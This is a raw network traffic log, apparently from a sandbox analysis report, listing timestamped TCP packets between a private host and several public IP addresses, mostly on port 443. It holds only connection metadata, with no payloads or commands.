Sep 29, 2024 15:46:06.079714060 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.079744101 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.079751968 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.079811096 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.079816103 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.079855919 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.079914093 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.079919100 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.079931974 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.080219984 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.080570936 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.092971087 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.093063116 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.093277931 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.093394995 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.093400955 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.093426943 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.093446016 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.093591928 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.093708992 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.095526934 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.095541000 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.121088982 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.121098995 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.169246912 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.169965982 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.170038939 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.170074940 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.170113087 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.170176983 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.170200109 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.170211077 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.170573950 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.170715094 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.170722961 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.170829058 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.170911074 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.170918941 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.171025991 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.171031952 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.171046019 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.171154022 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.171154022 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.171161890 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.171608925 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.171652079 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.171777964 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.171777964 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.171786070 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.172466993 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.172578096 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.172617912 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.172617912 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.172626972 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.172653913 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.172703028 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.172710896 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.172861099 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.173325062 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.173435926 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.173526049 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.173547029 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.173547029 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.173556089 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.173605919 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.174196959 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.174271107 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.174278021 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.174309015 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.174362898 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.174371004 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.226346970 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.262339115 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.262401104 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.262511969 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.262511969 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.262525082 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.262583017 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.262618065 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.262686968 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.262706041 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.262765884 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.262806892 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.262854099 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.263221979 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.263313055 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.263336897 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.263346910 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.263401031 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.263499022 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.263545990 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.263577938 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.263586998 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.263600111 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.264004946 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.264102936 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.264137983 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.264153004 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.264170885 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.264231920 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.266185045 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.266197920 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:08.923070908 CEST	49751	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:08.923197985 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:08.923373938 CEST	49751	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:08.923955917 CEST	49751	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:08.923989058 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:08.966525078 CEST	49752	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:08.966572046 CEST	443	49752	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:08.966936111 CEST	49752	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:08.967621088 CEST	49752	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:08.967647076 CEST	443	49752	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:09.430887938 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:09.432456970 CEST	443	49752	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:09.457755089 CEST	49752	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:09.457767963 CEST	443	49752	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:09.458050013 CEST	49751	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:09.458074093 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:09.458101034 CEST	443	49752	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:09.458822966 CEST	49752	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:09.458890915 CEST	443	49752	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:09.459187031 CEST	49752	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:09.459505081 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:09.500536919 CEST	49751	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:09.503417969 CEST	443	49752	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:09.522675991 CEST	49751	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:09.522995949 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:09.523000002 CEST	49751	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:09.563448906 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:09.581420898 CEST	443	49752	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:09.581474066 CEST	443	49752	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:09.581525087 CEST	49752	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:09.604895115 CEST	49752	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:09.604916096 CEST	443	49752	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:09.628540993 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:09.628602982 CEST	49751	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:09.628623962 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:09.628694057 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:09.628736019 CEST	49751	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:09.825359106 CEST	49751	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:09.825392008 CEST	443	49751	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:10.551477909 CEST	49753	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:10.551529884 CEST	443	49753	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:10.551620007 CEST	49753	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:10.551831007 CEST	49753	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:10.551845074 CEST	443	49753	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.006146908 CEST	443	49753	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.007314920 CEST	49753	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:11.007338047 CEST	443	49753	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.007738113 CEST	443	49753	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.012553930 CEST	49753	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:11.012670040 CEST	443	49753	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.013206005 CEST	49753	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:11.059417009 CEST	443	49753	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.159375906 CEST	443	49753	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.159461975 CEST	443	49753	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.159868002 CEST	49753	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:11.160177946 CEST	49753	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:11.160197973 CEST	443	49753	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.512343884 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:11.512401104 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.512692928 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:11.512967110 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:11.512979031 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:11.546679020 CEST	49755	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:11.546714067 CEST	443	49755	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:11.546808958 CEST	49755	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:11.547415972 CEST	49755	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:11.547429085 CEST	443	49755	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:11.970345020 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:12.000536919 CEST	443	49755	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:12.118275881 CEST	49755	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:12.179404974 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:12.179469109 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:12.766283035 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:12.766319990 CEST	49755	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:12.766340971 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:12.766343117 CEST	443	49755	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:12.766921997 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:12.766922951 CEST	443	49755	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:12.768259048 CEST	49755	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:12.768331051 CEST	443	49755	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:12.768834114 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:12.768923044 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:12.770231962 CEST	49755	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:12.770329952 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:12.770404100 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:12.770441055 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:12.770509005 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:12.770536900 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:12.811410904 CEST	443	49755	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:12.875250101 CEST	443	49755	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:12.875319958 CEST	443	49755	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:12.875394106 CEST	49755	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:12.892963886 CEST	49755	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:12.892981052 CEST	443	49755	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:13.005657911 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.005705118 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.005739927 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.005755901 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.005779982 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.005810022 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.005820036 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.005826950 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.005861044 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.005861998 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.005870104 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.005912066 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.005918026 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.006072998 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.006103039 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.006112099 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.006119013 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.006148100 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.010433912 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.092607975 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.092643976 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.092658043 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.092668056 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.092675924 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.092709064 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.092720032 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.092752934 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.092757940 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.093547106 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.093588114 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.093594074 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.093616962 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.093656063 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.094000101 CEST	49754	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:13.094012022 CEST	443	49754	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:13.117330074 CEST	49756	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:13.117367983 CEST	443	49756	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:13.117432117 CEST	49756	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:13.117861032 CEST	49756	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:13.117873907 CEST	443	49756	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:13.417504072 CEST	443	49739	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:13.417583942 CEST	443	49739	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:13.417697906 CEST	49739	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:13.597278118 CEST	443	49756	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:13.597564936 CEST	49756	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:13.597588062 CEST	443	49756	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:13.597915888 CEST	443	49756	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:13.598243952 CEST	49756	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:13.598300934 CEST	443	49756	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:13.598505020 CEST	49756	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:13.643403053 CEST	443	49756	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:13.745915890 CEST	443	49756	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:13.745990038 CEST	443	49756	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:13.746078968 CEST	49756	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:13.746689081 CEST	49756	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:13.746709108 CEST	443	49756	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:15.049824953 CEST	49739	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:15.049885988 CEST	443	49739	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:15.602650881 CEST	443	49737	173.222.162.64	192.168.2.6
Sep 29, 2024 15:46:15.602718115 CEST	49737	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:46:24.038698912 CEST	80	49704	217.20.57.18	192.168.2.6
Sep 29, 2024 15:46:24.038919926 CEST	49704	80	192.168.2.6	217.20.57.18
Sep 29, 2024 15:46:24.038921118 CEST	49704	80	192.168.2.6	217.20.57.18
Sep 29, 2024 15:46:24.043684959 CEST	80	49704	217.20.57.18	192.168.2.6
Sep 29, 2024 15:46:24.954977036 CEST	49757	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:24.955023050 CEST	443	49757	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:24.955101967 CEST	49757	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:24.955729008 CEST	49757	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:24.955744028 CEST	443	49757	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:25.743601084 CEST	443	49757	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:25.743696928 CEST	49757	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:25.747050047 CEST	49757	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:25.747061014 CEST	443	49757	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:25.747291088 CEST	443	49757	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:25.751562119 CEST	49757	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:25.751624107 CEST	49757	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:25.751630068 CEST	443	49757	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:25.751888990 CEST	49757	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:25.799397945 CEST	443	49757	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:25.946501970 CEST	443	49757	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:25.946588993 CEST	443	49757	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:25.946670055 CEST	49757	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:25.947139978 CEST	49757	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:25.947164059 CEST	443	49757	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:44.503597975 CEST	49760	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:46:44.503642082 CEST	443	49760	142.250.185.164	192.168.2.6
Sep 29, 2024 15:46:44.503715992 CEST	49760	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:46:44.504103899 CEST	49760	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:46:44.504125118 CEST	443	49760	142.250.185.164	192.168.2.6
Sep 29, 2024 15:46:45.145211935 CEST	443	49760	142.250.185.164	192.168.2.6
Sep 29, 2024 15:46:45.145685911 CEST	49760	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:46:45.145703077 CEST	443	49760	142.250.185.164	192.168.2.6
Sep 29, 2024 15:46:45.146022081 CEST	443	49760	142.250.185.164	192.168.2.6
Sep 29, 2024 15:46:45.147015095 CEST	49760	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:46:45.147068977 CEST	443	49760	142.250.185.164	192.168.2.6
Sep 29, 2024 15:46:45.195132017 CEST	49760	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:46:47.924849987 CEST	49761	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:47.924921036 CEST	443	49761	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:47.925003052 CEST	49761	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:47.925796032 CEST	49761	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:47.925812006 CEST	443	49761	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:48.757548094 CEST	443	49761	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:48.757620096 CEST	49761	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:48.759912014 CEST	49761	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:48.759916067 CEST	443	49761	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:48.760184050 CEST	443	49761	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:48.762101889 CEST	49761	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:48.762245893 CEST	49761	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:48.762252092 CEST	443	49761	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:48.762423992 CEST	49761	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:48.807395935 CEST	443	49761	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:48.947562933 CEST	443	49761	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:48.947659969 CEST	443	49761	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:48.947763920 CEST	49761	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:48.947994947 CEST	49761	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:48.948014975 CEST	443	49761	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:49.071829081 CEST	49762	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.071863890 CEST	443	49762	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.072130919 CEST	49762	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.072618008 CEST	49762	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.072633028 CEST	443	49762	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.556879044 CEST	443	49762	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.557312965 CEST	49762	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.557336092 CEST	443	49762	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.557696104 CEST	443	49762	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.558100939 CEST	49762	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.558171034 CEST	443	49762	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.558311939 CEST	49762	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.599406958 CEST	443	49762	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.692003012 CEST	443	49762	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.692082882 CEST	443	49762	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.692240000 CEST	49762	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.692338943 CEST	49762	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.692357063 CEST	443	49762	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.692365885 CEST	49762	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.692415953 CEST	49762	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.693159103 CEST	49763	443	192.168.2.6	35.190.80.1
